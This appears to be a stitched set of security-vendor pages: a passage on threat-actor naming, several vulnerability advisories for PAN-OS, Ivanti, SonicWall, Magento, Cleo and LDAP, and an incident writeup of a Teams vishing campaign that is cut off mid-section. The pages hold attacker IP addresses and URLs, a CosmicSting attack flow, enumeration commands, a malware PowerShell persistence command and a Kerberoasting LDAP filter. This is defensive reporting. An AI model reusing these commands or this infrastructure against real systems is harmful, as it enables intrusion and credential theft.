If an analyst plans to adjust his infrastructure knowledge base with open-source data, he must acknowledge that some companies have different naming conventions for the same identified actors with naming groups by regions and subgroups terminologies; as an Intelligence analyst, it’s hard to track, this is due to multiple reasons, security companies track intrusion sets or threat actors without publishing them^[9] and they need to use a naming convention to classify them, as we saw before. It can also be used for branding reasons, so security companies publish their documentation with their own naming conventions and get more people used to it. For example, the “APT” (Advanced Persistent Threat) designation has become a widely accepted naming convention for threat actors known for employing sophisticated, sustained attack techniques.

The lack of standardized naming conventions in threat intelligence stems from multiple factors.^[10] Each intelligence provider brings a unique perspective on malicious infrastructure, malware, clusters, TTPs (Tactics, Techniques, and Procedures), IOCs (Indicators of Compromise), and the sharing of toolsets between different threat actors. Shifting alliances, operational overlaps, and evolving adversary behaviors further contribute to these variations, leading to discrepancies in how different intelligence teams classify and track threats.^[11][12]

One key challenge is that attribution can vary significantly between intelligence providers. For instance, one provider may classify a single entity as a distinct threat actor, while another may interpret the same activity as belonging to multiple actors. These differences are often shaped by the methodologies, data sources, and investigative techniques used—ultimately influencing how adversary groups are identified and named.

To analyze an infrastructure based on open-source data, the analyst has to make sure to see each intelligence provider with a different point of view, and everything counts:

• The country of the source in the geopolitical context of the attributed adversary. The data in the article can be provided by a state for political reasons, and it can affect the data ingested by the analyst when he tries to make marks on time to correlate it with geopolitical analysis.
• The comparison between different sources, crossing data and findings between multiple intelligence providers.
• The attribution part must be validated by the analyst reviewing the report shared by the intelligence provider.

Connecting the Dots: How Threat Intelligence Unveils Cyber Adversaries

The activity matrix^[13] aims to have a clear view of an organization, a specific operation or a campaign monitored by an intelligence team. Let’s take the Lazarus group for this one.

Figure 8: North Korean activity matrix
Most of the data come from the DOJ press release except for the “Operator A, B, C, D, E which is a generated data for the example

In threat intelligence analysis, a diamond symbol is often used within the matrix to denote an individual or entity that is no longer active. This structured approach helps analysts map an attacker’s organization, identify operational hierarchies, and detect both common and anomalous patterns within their tactics.

In this particular matrix, the U.S. Department of Justice (DOJ) serves as the sole data source, allowing us to distinguish between civilian and military operations conducted by known members of the Lazarus Group. Additionally, analyzing travel patterns can reveal key insights, such as identifying countries that may serve as proxy residences for operatives conducting cyber-attacks against their intended targets.

Sources

^[1] https://www.cisa.gov/sites/default/files/2024-08/aa24-241a-iran-based-cyber-actors-enabling-ransomware-attacks-on-us-organizations_0.pdf
^[2]  https://gopivot.ing/
^[3] https://x.com/cyber0verload/status/1694448759055306800
^[4] https://x.com/Bizarredect/status/1828750064673849389
^[5] https://www.justice.gov/opa/pr/two-north-korean-nationals-and-three-facilitators-indicted-multi-year-fraudulent-remote
^[6] https://cloud.google.com/blog/topics/threat-intelligence/mapping-dprk-groups-to-government/?hl=en
^[7] https://cloud.google.com/blog/topics/threat-intelligence/north-korea-cyber-structure-alignment-2023/?hl=en
^[8] https://cloud.google.com/blog/topics/threat-intelligence/apt45-north-korea-digital-military-machine?hl=en
^[9] Attribution of advanced persistent threat; page 30
^[10] https://cyb3rops.medium.com/the-newcomers-guide-to-cyber-threat-actor-naming-7428e18ee263
^[11] https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU
^[12] https://github.com/StrangerealIntel/EternalLiberty
^[13] https://www.marines.mil/Portals/1/Publications/MCWP%202-6%20W%20Erratum%20Counterintelligence.pdf

‍

Summary

Earlier this month we published an advisory about CVE-2025-0108, a vulnerability which allows an unauthenticated attacker to access the web management user interface of Palo Alto Networks’ PAN-OS and invoke certain scripts. Along with the aforementioned bug nine others were disclosed, all less severe as they offered less utility to potential attackers. Since the original time of writing, proof-of-concept exploit code for CVE-2025-0108 has been publicly released and used in the wild. Additionally, one of the nine less-severe bugs included in the PAN disclosure, CVE-2025-0111, has been upgraded from Medium severity/Moderate urgency to High severity/Highest urgency. It allows an authenticated attacker with access to the web management UI to read les on the PAN-OS lesystem which are readable by the nobody user, and Palo Alto has warned that CVE-2025-0111 is being chained with CVE-2025-0108 and CVE-2024-9474: to exactly what end is still unknown, but prior attacks involving CVE-2024-9474 and a vulnerability similar to CVE-2025-0108 resulted in the extraction of rewall con gurations and deployment of malware on compromised appliances. CISA has added CVE2025-0111 to its Known Exploited Vulnerabilities (KEV) catalog.

Affected Systems and/or Applications

Mitigation/Solution

As with CVE-2025-0108, Palo Alto recommends restricting access to the management UI from external IPs, which greatly reduces the overall risk of exploitation, as well as patching to a PAN-OS version listed below. Additionally, customers with a Threat Prevention subscription can block attacks for this vulnerability by enabling Threat ID 510000 and 510001.

Furthermore, Palo Alto offers detection of internet-facing devices through their support portal:

1. To find any assets that require remediation action, visit the Assets section of the Customer SupportPortal at https://support.paloaltonetworks.com (Products → Assets → All Assets → RemediationRequired).
2. Review the list of your devices that we discovered in our scans to have an internet-facingmanagement interface and that we tagged with ‘PAN-SA-2024-0015’ and a last seen timestamp (inUTC). If you do not see any such devices listed, then our scan did not fi nd any devices on youraccount to have an internet-facing management interface within the past three days.

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

• Qualys ID: 732236 Tenable ID
• Tenable ID: https://www.tenable.com/cve/CVE-2025-0111

References

• https://security.paloaltonetworks.com/CVE-2025-0111
• https://www.securityweek.com/second-recently-patched- aw-exploited-to-hack-palo-alto- rewalls/

‍

Summary

A recently discovered vulnerability, CVE-2025-0108, in Palo Alto Networks PAN-OS, allows an unauthenticated attacker with network access to bypass authentication and access the management web interface from which an attacker can also invoke specific PHP scripts. Although this doesn’t lead to remote code execution, it can compromise the integrity and confidentiality of the system.

In order to mitigate risk, Palo Alto recommends that access to the management interface be restricted to trusted internal IP addresses. Palo Alto confirms that a viable solution for affected PAN-OS versions is to upgrade to later PAN-OS versions. This issue does not affect Cloud NGFW or Prisma Access software, and Palo Alto Networks is not aware of any malicious exploitation of this issue.

Affected Systems and/or Applications

• PAN-OS 10.1.14 and prior
• PAN-OS 10.2.13 and prior
• PAN-OS 11.0 (EoL) Upgrade to a supported fixed version
• PAN-OS 11.1.6 and prior
• PAN-OS 11.2.4 and prior

Mitigation/Solution

Palo Alto recommends that access to the management interface be restricted to trusted internal IP addresses in accordance with best practices. Patched versions are available as well for the following PAN-OS versions :

• PAN-OS 10.1 Upgrade to 10.1.14-h9 or later
• PAN-OS 10.2 Upgrade to 10.2.13-h3 or later
• PAN-OS 11.0 (EoL) Upgrade to a supported fixed version
• PAN-OS 11.1 Upgrade to 11.1.6-h1 or later
• PAN-OS 11.2 Upgrade to 11.2.4-h4 or later

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

• Qualys IDs: 732239, 732237
• Tenable IDs:
  • CVE-2025-0108

References

• https://securityadvisories.paloaltonetworks.com/CVE-2025-0108
• https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/
• https://www.helpnetsecurity.com/2025/02/13/pan-os-authentication-bypass-palo-alto-networks-poc-cve-20250108/

Summary

Ivanti has released security updates addressing nine vulnerabilities affecting Ivanti Connect Secure (ICS), Ivanti Policy Secure (IPS), Ivanti Secure Access Client (ISAC), and Ivanti Cloud Services Application (CSA). These flaws, which could lead to privilege escalation, arbitrary file reads, writes, and/or code execution, were identified in multiple versions of these products. Exploitation of one or more of these vulnerabilities could allow a remote attacker to gain full control of affected systems.

While there are no reports of these flaws being actively exploited, their potential for abuse is significant, especially given the history of Ivanti’s products being targeted by advanced threat actors. To mitigate these risks, Ivanti has recommended upgrading to the latest versions of the affected products.

Affected Systems and/or Applications

• Ivanti Connect Secure (ICS): 22.7R2.5 and prior
• Ivanti Policy Secure (IPS): 22.7R1.2 and prior
• Ivanti Secure Access Client (ISAC): 22.7R4 and prior Ivanti
• Cloud Services Application (CSA): 5.0.4 and prior

Technical Details / Attack Overview

While nine bugs have been disclosed as of time of writing, the four most severe are as follows:

Mitigation

The vulnerabilities detailed in this advisory are resolved in the latest versions of the affected Ivanti products:

• Ivanti Connect Secure: Version 22.7R2.6
• Ivanti Policy Secure: Version 22.7R1.3
• Ivanti Secure Access Client: Version 22.8R1
• Ivanti Cloud Services Application: Version 5.0.5

These updated versions are available for download through the Ivanti portal (login required).

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

• Qualys IDs: 152748, 152749, 152747, 732234, 732235, 382820, 152744, 152745 Tenable
• IDs:
  • CVE-2024-47908
  • CVE-2024-11771
  • CVE-2024-13813
  • CVE-2024-13843
  • CVE-2025-22467
  • CVE-2024-12058
  • CVE-2024-13842
  • CVE-2024-10644
  • CVE-2024-13830

References

• Ivanti February Security Advisory
• Security Advisory Ivanti Cloud Services Application (CSA) (CVE-2024-47908, CVE-2024-11771)
• Ivanti Patches Critical Flaws in Connect Secure and Policy Secure – Update Now

‍

Summary

A critical vulnerability (CVE-2025-23006) has been identified in SonicWall Secure Mobile Access (SMA) 1000 Series Appliances, potentially allowing for remote code execution (RCE). This vulnerability stems from a pre-authentication deserialization of untrusted data flaw in the Appliance Management Console (AMC) and Central Management Console

(CMC). Successful exploitation could enable an unauthenticated attacker to execute arbitrary OS commands, compromising system integrity.

SonicWall PSIRT has been notified of potential active exploitation of this vulnerability by threat actors. Organizations using affected SMA appliances should take immediate action to mitigate risks.

Affected Systems and/or Applications

SonicWall SMA 1000 Series Appliances running version 12.4.3-02804 (platform-hotfix) and earlier.

Impacted Models: SMA6200, SMA6210, SMA7200, SMA7210, SMA8200v (ESX, KVM, Hyper-V, AWS, Azure), EX6000, EX7000, EX9000

Note: SonicWall Firewall and SMA 100 (SMA200, 210, 400, 410, and 500v) products are not affected by this vulnerability.

Technical Details

Tactic: Initial Access (TA0001)

Technique: Exploit Public-Facing Application (T1190)

A pre-authentication deserialization vulnerability in SonicWall SMA 1000’s AMC and CMC can allow a remote attacker to execute arbitrary OS commands. This can lead to full system compromise, allowing attackers to:

• Install malicious software
• Exfiltrate, modify, or delete sensitive data
• Gain persistent access to the network

Mitigation and Workarounds

Upgrade to the Latest Fixed Version

SonicWall has released patches addressing this vulnerability. Organizations should upgrade to the latest fixed version as soon as possible.

Impacted Models: SMA6200, SMA6210, SMA7200, SMA7210, SMA8200v (ESX, KVM, Hyper-V, AWS, Azure), EX6000, EX7000, EX9000

Note: SonicWall Firewall and SMA 100 (SMA200, 210, 400, 410, and 500v) products are not affected by this vulnerability.

Organizations should follow their internal patch management and testing guidelines before deploying updates to minimize operational disruptions.

Workarounds

If immediate patching is not possible, the following mitigations should be applied:

1. Restrict Access to Trusted Sources:
   • Limit access to the Appliance Management Console (AMC) and Central Management Console (CMC) to trusted internal networks only.
   • For Dual-Homed Appliances: Restrict access to administrative consoles (default TCP port 8443) to trusted internal networks accessible via an internal interface only. This will not impact user VPN traffic.
   • For Single-Homed Appliances: Use a firewall to restrict access to administrative consoles (default TCP port 8443) to trusted internal networks. This will not impact user VPN traffic.
2. Review and Implement Security Best Practices:
   • Refer to the SMA1000 Administration Guide, section Best Practices for Securing the Appliance for additional security configurations.
   • Enforce Multi-Factor Authentication (MFA) for administrative accounts.

Organizations are advised to implement these workarounds until patches can be applied to mitigate the risk of exploitation.

What the Cyber Fusion Center is Doing

This vulnerability poses a severe risk to organizations using SonicWall SMA 1000 appliances.Immediate actionis required to mitigate the threat by applying patches, strengthening network defenses, and implementing robust monitoring. Organizations should also prioritize long-term security measures such as vulnerability management, penetration testing, and access controls to minimize future risks.

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

• Qualys ID: 732196
• Tenable ID: https://www.tenable.com/plugins/nessus/214591

References

• https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0002
• https://arcticwolf.com/resources/blog/cve-2025-23006/
• https://its.ny.gov/2025-010

‍

Summary

At Kudelski security, with the end of year approaching we have observed multiple vulnerabilities being exploited recently. This ranges from long-standing vulnerabilities like the Adobe Commerce (formerly Magento) with CVE-2024-34102 – dubbed “CosmicSting” to the very recent Cleo File Transfer Software Vulnerability (CVE-2024-50623), passing by Windows Lightweight Directory Access Protocol (LDAP) critical CVE-2024-49112. Our key message is to quickly act on vulnerabilities found in your environment. Please don’t let open vulnerabilities rot, one day or another it will backfire. And this is the time of the year, where we feel there is lots of vulnerabilities being exploited. The critical CVEs described below are not exhaustive, so we encourage our clients to rely on their vulnerability management practice to make sure no blatant hole is left unchecked.

Critical Vulnerability in Adobe Commerce (CVE-2024-34102) – “CosmicSting”

A critical vulnerability, identified as CVE-2024-34102, was discovered in Adobe Commerce (formerly Magento). This vulnerability, part of a series dubbed “CosmicSting”, allows an attacker to exploit flaws in the system’s deserialization process, potentially leading to unauthorized access to sensitive data and even admin-level access to the REST API, GraphQL, or SOAP interfaces. As a result, attackers can gain full control over an application without proper authentication. This vulnerability is already seen actively exploited across Switzerland, further emphasizing the urgency of addressing the issue.

Widespread Exploitation of Cleo File Transfer Software Vulnerability (CVE-2024-50623)

A critical vulnerability (CVE-2024-50623) in Cleo file transfer products, including Cleo VLTrader, Cleo Harmony, and Cleo LexiCom, has been actively exploited in the wild. This flaw, initially disclosed in October 2024, has led to unauthorized command execution, potentially compromising the integrity of affected systems. Despite patches being issued for affected versions (5.8.0.21), further vulnerabilities have been uncovered in versions up to 5.8.0.21, leading to an escalation in exploitation.

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE2024-49112)

A critical remote code execution vulnerability (CVE-2024-49112) has been discovered in the Windows Lightweight Directory Access Protocol (LDAP) and has been disclosed as part of the recent Patch Tuesday from Microsoft. This vulnerability affects both LDAP clients and servers running affected versions of Windows, allowing unauthenticated remote attackers to execute arbitrary code within the context of the LDAP service.

Affected Systems and/or Applications

Widespread Exploitation of Cleo File Transfer Software Vulnerability (CVE-2024-50623)

The following versions of Cleo products are vulnerable to CVE-2024-50623 and a newly discovered vulnerability (CVEpending):

• Cleo Harmony prior to version 5.8.0.24
• Cleo VLTrader prior to version 5.8.0.24
• Cleo LexiCom prior to version 5.8.0.24

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE2024-49112)

This vulnerability impacts several Windows operating system versions, including but not limited to:

• Windows Server 2022
• Windows Server 2019
• Windows Server 2016
• Windows 10 (Versions 21H2, 22H2, 23H2, and others) Windows 11 (Versions 22H2, 23H2, 24H2)

A full list of affected versions and corresponding updates is included in the Microsoft Security Update table.

Technical Details

Critical Vulnerability in Adobe Commerce (CVE-2024-34102) – “CosmicSting”

• CVE-2024-34102 arises from improper deserialization mechanisms within the REST API of Adobe Commerce (Magento). This flaw specifically affects the way data is processed from HTTP requests, allowing an attacker to inject malicious payloads that bypass security filters and lead to remote code execution or unauthorized access.

• The vulnerability was discovered during a routine bug bounty investigation, where the attacker identified insecure deserialization in how the system handled customer address data. This allowed the attacker to inject malicious XML payloads, leveraging an XXE (XML External Entity) attack to read sensitive files and ultimately gain unauthorized access to the admin panel.

• The flaw exists due to the system’s overly flexible deserialization logic, which fails to separate user-controlled data from system-controlled data, creating opportunities for denial of service (DoS) and remote code execution (RCE) via malicious XML payloads.

• Attack Flow:
  1. Initial Discovery:
     
     • The attacker discovered that certain REST API endpoints in Adobe Commerce could be accessed without proper authentication, such as /V1/guest-carts/:cartId/collect-totals.
     • By sending a crafted HTTP request, attackers could interact with the system without
  2. Deserialization Flaw:
     • During deserialization of input parameters (such as address data), an attacker could inject special characters, like XML data or invalid object types, which would trigger unsafe deserialization behavior.
     • This allowed the attacker to manipulate the request, leading to the execution of arbitrary code or access to sensitive system files (e.g., env.php).
  3. Exploitation via XXE Attack:
     • The attacker exploited the XXE vulnerability by injecting XML External Entities (XXE) payloads into the data being deserialized.
     • Through this, the attacker was able to leak sensitive application con guration les (such as env.php) containing critical information like encryption keys.
  4. Privilege Escalation:
     • With access to the env.php file and encryption keys, the attacker was able to craft a JSON Web Token (JWT) for admin-level access.
     • This allowed the attacker to gain full administrative control over the platform, including the ability to read and write sensitive customer and system data.

Widespread Exploitation of Cleo File Transfer Software Vulnerability (CVE-2024-50623)

Reports of active exploitation began circulating on December 9, 2024. The vulnerability, which allows unauthenticated attackers to upload and execute arbitrary bash or PowerShell commands on vulnerable systems, targets a flaw in the Autorun directory of Cleo products. This is a critical security issue as it can lead to full system compromise without any authentication.

Rapid7 and Huntress have observed a range of post-exploitation activities, including the installation of modular backdoors and the enumeration of system information. Attackers have also exploited the NTLM hash of user accounts for lateral movement and privilege escalation, particularly using the “OverPass-The-Hash” technique. Other signs of exploitation include the execution of system commands like systeminfo, whoami, and nltest, as well as suspicious PowerShell commands.

Indicators of Compromise

• Network IOCs:
  • 89.248.172[.]139
  • 176.123.10[.]115
  • 185.162.128[.]133
  • 185.163.204[.]137
  • 185.181.230[.]103
  • 8.67.51[.]13
  • 123.56.49[.]71
• URL:
  • http://8.67.51.13/1338
  • http://123.56.49.71/1338
• Post-Exploitation Behavior:
  
  • Commands: systeminfo, whoami, wmic logicaldisk get name,size, nltest /domain_trusts
  • Techniques: “OverPass-The-Hash” for lateral movement, PowerShell-based persistence

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE2024-49112)

CVE-2024-49112 is caused by an integer overflow issue in the processing of LDAP requests, which can lead to remote code execution. This vulnerability specifically affects versions of Windows where LDAP services are exposed via Remote Procedure Call (RPC). An attacker exploiting this vulnerability could gain control over the target system without needing authentication.

Exploitability and Attack Scenarios

1. Domain Controllers: An attacker must send specially crafted RPC requests targeting the domain controller to trigger a lookup of an attacker-controlled domain.
2. LDAP Clients: An attacker could trick a user or application into connecting to a malicious LDAP server. If successful, this would allow the attacker to execute arbitrary commands on the victim system.

Mitigation

Critical Vulnerability in Adobe Commerce (CVE-2024-34102) – “CosmicSting”

• Upgrade to Latest Version:
  • Ensure that you are using the latest version of Adobe Commerce (Magento). Adobe has released patches to address this issue. Users should upgrade to the fixed version as soon as possible to protect against this vulnerability.
• Apply Security Patches:
  • Apply any available security patches released by Adobe or third-party security organizations. Check Adobe’s official security advisory for detailed instructions on how to update your system.
• API Authentication:
  • Disable or restrict anonymous API access. Ensure that all API endpoints require proper authentication before allowing data to be submitted or processed.
• Limit Data Deserialization:

• • Review and tighten the deserialization logic, ensuring that no user-controlled data can be deserialized into system objects without proper validation.
  • Avoid processing XML or JSON input that includes external entity references or untrusted data.

Widespread Exploitation of Cleo File Transfer Software Vulnerability (CVE-2024-50623)

• Immediate Action: Update all affected Cleo products to version 5.8.0.24 or later.
• Network Segmentation: Remove vulnerable Cleo products from the public internet and ensure they are behind a properly configured firewall.
• Disable Autorun Directory: Disable the Autorun Directory feature, which processes command files automatically, to prevent further exploitation.

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability (CVE2024-49112)

To mitigate the risk of exploitation:

1. Apply Security Updates: Ensure that the latest security updates from Microsoft are applied to the affected systems. Microsoft has released security updates for all supported versions of Windows that address CVE-202449112. Administrators should apply the updates immediately to protect systems from potential exploitation. Please refer to the Microsoft Security Update page for detailed patch installation instructions.
2. Network Con gurations: It is recommended to configure domain controllers to either:
   • Not access the internet.
   • Not allow inbound RPC connections from untrusted networks.
     This dual-layered approach will reduce the risk of exploitation by preventing unauthorized connections to the LDAP service.
3. Firewall Rules: Restrict access to LDAP services over SSL (RPC and LDAP), ensuring that only trusted internal networks can communicate with domain controllers.

What the Cyber Fusion Center is Doing

The CFC will continue to monitor the situation and send an advisory update if needed. Clients subscribed to our vulnerability scan services will receive relevant results if critical vulnerabilities are found within the scope of the scans as soon as a relevant plugin is made available by the scan provider.

References

Magento vulnerability

Cleo Product Security Advisory – CVE-2024-50623 – Cleo

Widespread exploitation of Cleo file transfer software (CVE-2024-50623) | Rapid7 Blog

CVE-2024-49112 – Security Update Guide – Microsoft – Windows Lightweight Directory Access Protocol (LDAP)

Remote Code Execution Vulnerability

‍

‍

(By Naveen and KS threat research)

Introduction

“Why hack into a system when you can politely just ask for it?”

Since early October 2024, Kudelski Security has observed an ongoing campaign in which threat actors employ a notably human interactive social engineering approach to infiltrate targeted networks. These attackers use Microsoft Teams to impersonate IT support personnel (vishing), where they contact employees directly, aiming to manipulate them into installing remote-access software, specifically AnyDesk, under the pretense of providing technical assistance.

The attack itself, with the exception of this initial phase, has the classical cybercrime techniques. It begins with a method known as registration bombing, where attackers register the victim’s corporate email address across hundreds of online platforms simultaneously. This tactic floods the victim’s inbox with spam from multiple legitimate domains, which bypasses standard spam filters and overwhelms the target’s email with what appears to be legitimate, unsolicited messages. Seeking help for this sudden influx of spam, the victim may then reach out to or be approached by the fake “IT support” team.

At this point, the threat actor initiates contact through a Microsoft Teams call, presenting themselves as an IT professional ready to assist. Speaking in the local language (in this case, German), they persuade the victim to install AnyDesk, ostensibly to resolve the email issue. Once granted access, the attackers quickly deploy a range of malicious binaries and begin laying the groundwork for broader network compromise.

Other security vendors have attributed this activity to affiliates of BlackBasta. Based on the techniques we’ve observed, we see strong similarities with cases we’ve previously worked on. That said, the attacks were detected and mitigated early, successfully preventing both data exfiltration and any disruption from potential encryption events. As a result, the only actions carried out by the threat actor were the initial steps, which are shared among most cybercriminal operations.

The key takeaway from this post is that while organizations typically have measures in place to defend against email threats—thanks to the wide range of vendor solutions available—it’s much harder to tackle side-channel threats via phone calls or messaging apps like WhatsApp, Signal, or Microsoft Teams. While sending an email to millions of recipients is relatively easy, making phone calls to that many individuals is far more complex. Despite this challenge, recent cyberattacks that combine email with follow-up phone calls have proven effective, and this technique could become more widespread among cybercriminal groups in the future. Shifting from a mass, opportunistic attack to a more targeted strategy that leverages human interaction creates a new threat landscape that is difficult for organizations to monitor and protect against. While phone-based social engineering may be one of the oldest hacking tactics, the rise of chat apps and mobile phones has made it even harder for organizations to gain visibility into these threats. The fact that cybercriminals are adopting these techniques shows that the barrier to entry is low.

Other vendors also published about this attack types: Microsoft[1], Reliaquest [2], rapid7 [3]. We are providing additional details and queries for hunting and detections.

Details of the Attack

Spam Burst: Creating Confusion to Enable Social Engineering

This campaign’s initial phase is deceptively simple yet effective. Threat actors began by registering the victim’s business email across hundreds of legitimate sites in a technique known as registration bombing. The result is an immediate burst of verification emails and account creation emails each coming from a legitimate source. An account is created on variety of sources ranging from a florist in Czech Republic to an attorney in Chicago. This barrage of emails quickly overwhelms the victim’s inbox, causing sudden panic and helplessness in handling the situation on their own.

At first glance, it’s easy to question —if these emails are from legitimate domains and contain no malicious links, where’s the harm? The answer is simple: this isn’t typical phishing. By overwhelming the inbox, attackers create stress and confusion, making victims more likely to respond impulsively.

In the incidents that Kudelski Security responded to, that’s exactly what happened. Even the users who are typically careful with spam and phishing emails failed to respond with caution as they were in a sense of panic seeing continuous influx of registration emails in various languages that they were never exposed to in the past. The spam burst served as the foundation for what followed, the next phase of the attack: direct social engineering.

IT Support: The Social Engineering Twist

Right when the victim needed “IT Support”, the threat actor disguised as IT support, contacted the victim through Microsoft Teams, convincing them that they were there to resolve the spam issue.

The attacker, speaking in the local language (German), further built trust with the victim, making their approach appear even more legitimate. They assured the victim that the spam problem—one they had caused—could only be resolved by remotely accessing the victim’s computer.

Remote Access: Through the Teams chat, the threat actor instructed the user to download Remote Management Tool, AnyDesk from the official AnyDesk website. AnyDesk being commonly used by IT support and other teams, never raised a suspicion. After the user provided the access key, the attacker connects.

Once the victim followed the link and installed AnyDesk, the attacker gained full access to the system. They then transferred multiple malware files, including antispam.exe. When executed, the file triggered a Windows authentication screen titled “antispam filter,” reinforcing the illusion that they were installing a legitimate anti-spam solution. Trusting the process, the victim entered their credentials into the fake prompt.

At this point the threat actor had already managed to gain initial access into the host, obtained clear text credentials and also downloaded multiple malicious binaries needed for further steps in the attack. In addition, the threat actor also convinced the victim to take a break while they work on this “issue”.

Based on the logs, we couldn’t determine whether the German-speaking individual was also the one carrying out the technical operation on the host, or if this task was the result of collaboration. This distinction is important because, if it was not the same person, it could suggest that an individual was hired to provide L1 IT support in the local language, without knowing his work was in support for malicious cyber operations. The statement of work would involve assisting legitimate IT support in installing the remote agent before escalating the ticket to L2 support, where the actual threat actor is involved.

Once the remote access tool is installed, the attack progresses to a more traditional ransomware or cybercrime group technique. At this point, we revert to classic ransomware tactics, techniques, and procedures (TTPs), which can typically be detected by conventional endpoint security products.

Threat Actor malwares

Malwares Binaries Dropped

Once the threat actor gained access to the host, they immediately dropped a series of malicious binaries onto the system.

Even if the victim pays attention during the AnyDesk session, they are very likely to assume that the “fake” IT support  was working to fix the spam problem as all the binaries were named “antispam”.  This prevents users from raising suspicion.

Each of the dropped binaries served a distinct purpose, with some recognized as known malicious files, but many of them were unknown hashes at the time of our Incident Response engagement.

Antispam.exe: Credential Theft and System Enumeration

When executed, the antispam.exe binary triggered a Windows pop-up titled “spam filter update,” and asks for victim’s username and password. Once the victim enters their credentials, the username and password is validated against the domain and both the username and password entered by the user are saved in clear text to the “qwertyuio.txt” file. If invalid credentials were entered, the file would record the input along with a note indicating that the credentials were invalid, and the window pops up again asking the user to re-enter their username and password.

In addition to capturing credentials, the binary performed basic system enumeration, running commands such as systeminfo, route print, and ipconfig /all. The output of these commands was also saved to the qwertyuio.txt file.

Once the clear-text credentials were captured, the threat actor used the AnyDesk session to copy the qwertyuio.txt file from the victim’s system, further enabling their attack on the network.

Antispam.exe (SHA1: 1a3f14465460a61e012d11cccf301424f2c0f11d)

Antispam_account.exe: Machine Account Creation and Evasion

The functionality of the antispam_account.exe binary was straightforward— create a machine account with a hardcoded password. The initial binary was detected and blocked by Microsoft Defender; however, the threat actor dropped a modified version the binary to bypass the detection and execute it.

When we analyzed the modified binary in our lab, we found that it failed to create the machine account. However, in a parallel investigation that Kudelski Security was responding to, we extracted another version of the binary and that successfully created a machine account named SRVVSSKL$ with a hardcoded password: GCmtHzw8uI$JnJB

From a defender’s perspective, it’s crucial to monitor for such machine account creations and ensure that the new account’s activities are also reviewed during the investigation

Antispam_account.exe (SHA1: dccca05c9833b78dc75c7045e80056b35815ae93, 093693a336c4ab28a4e1a3e7999a0bc6cee4ba05)

Antispam_connect_eu.exe / Antispam_connect _us.exe:

The antispam_connect_eu.exe and antispam_connect_us.exe are the SystemBC binaries dropped by the threat actor to establish tunnel and maintain persistence even after the AnyDesk session is over. SystemBC is a proxy malware that leverages SOCKS5. This provides the ability for the attacker to launch the attacks against the domain as if their workstation is directly connected to your network. SystemBC also allowed the threat actor to deploy additional tooling to launch their attacks.

The antispam_connect_eu.exe managed to establish successful connection with the Command and Control (C2) IP, 157.20.182.233. This was heavily used by the threat actor to perform Enumeration (Sharphound, Impacket, etc.) as well as for the lateral movement attempts.

Antispam_connect_eu.exe: (SHA1: 517a916a794161deabf13ff2cd45956b8b918eb4)

antispam_connect_us.exe: (SHA1: 192b284e7bc7f43f1723d99b62bdbfe71334ce10)

Antispam_connect_1i.exe:

The antispam_connect_1i.exe binary was particularly noisy, initiating numerous external connections, including multiple Russian IPs. IPs that it reached out to: 46.8.232.106, 46.8.236.61, 93.185.159.253, 188.130.206.243.

As soon as the binary was executed, it attempted to establish persistence. For victim having enabled the Software Restriction Policy (SRP), it blocked PowerShell execution on the system.

powershell -WindowStyle hidden -Command "if (-Not (Test-Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\App\")) { Set-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" -Name \"App\" -Value \"C:\Users\redacted\antispam_connect_1i.exe\" }"

antispam_connect_1i.exe: (SHA1: db2067ddaa6a3396238dc3353ec1edccc0dd9030)

Enumeration:

Once the threat actor established a SOCKS proxy tunnel using SystemBC, they performed extensive enumeration activities against the domain.

They used multiple common public offensive tools for enumeration such as SharpHound ( to map Active Directory structures and relationships), Impacket modules—such as wmiexec.py, psexec.py, and smbexec.py and so on.

Lateral Movement

Multiple lateral movements paths were attempted, but none of them were successful.

SVCCTL (Service Control Manager over RPC)

Named pipes in SMB, accessed via the IPC$ share over TCP port 445, are leveraged by threat actors for lateral movement within a network. They enable a range of operations, from NULL session contexts to those requiring local administrative privileges. For instance, svcctl facilitates the creation, starting, and stopping of services to execute commands on remote hosts, a functionality utilized by tools like Impacket’s psexec.py and smbexec.py.

We could see the attempts to open svcctl and SMB access over the remote host via IPC$ share. Monitoring for unauthorized service creation can be done through capturing the 4679 events.

Observed Threat Actor Devices

During the lateral movement using RDP and Network logons, devices named vultr-guest and callous-cause.aeza.network were detected, indicating the threat actor’s infrastructure used in the lateral movement attempts.

Kerberoasting

Kerberoasting is an attack against service accounts that allows an attacker to perform an offline password-cracking attack against the Active Directory account associated with the service.

About 30 minutes into the AnyDesk session, the threat actor executes an LDAP query to enumerate Kerberoastable accounts (user accounts with a Service Principal Name (SPN) set). This was immediately followed by the initiation of the Kerberoasting attack itself.

(&(objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=redacted,DC=com)(!(userAccountControl&2))(servicePrincipalName=*))

Kerberoasting is a technique frequently used by threat actors, and in the majority of ransomware cases our CSIRT has responded to, we’ve observed it being attempted — often being successful. We highly recommend reviewing Microsoft’s guidance on Kerberoasting here and apply necessary mitigation measures.

Detection / Threat Hunting Opportunities

For detection and threat hunting, we focus on the initial phase of the attack, as the more traditional cybercrime TTPs are already well-documented in numerous blog posts.

Alert when a user is at risk:

• External teams chat containing suspicious link to remote management tools

CloudAppEvents
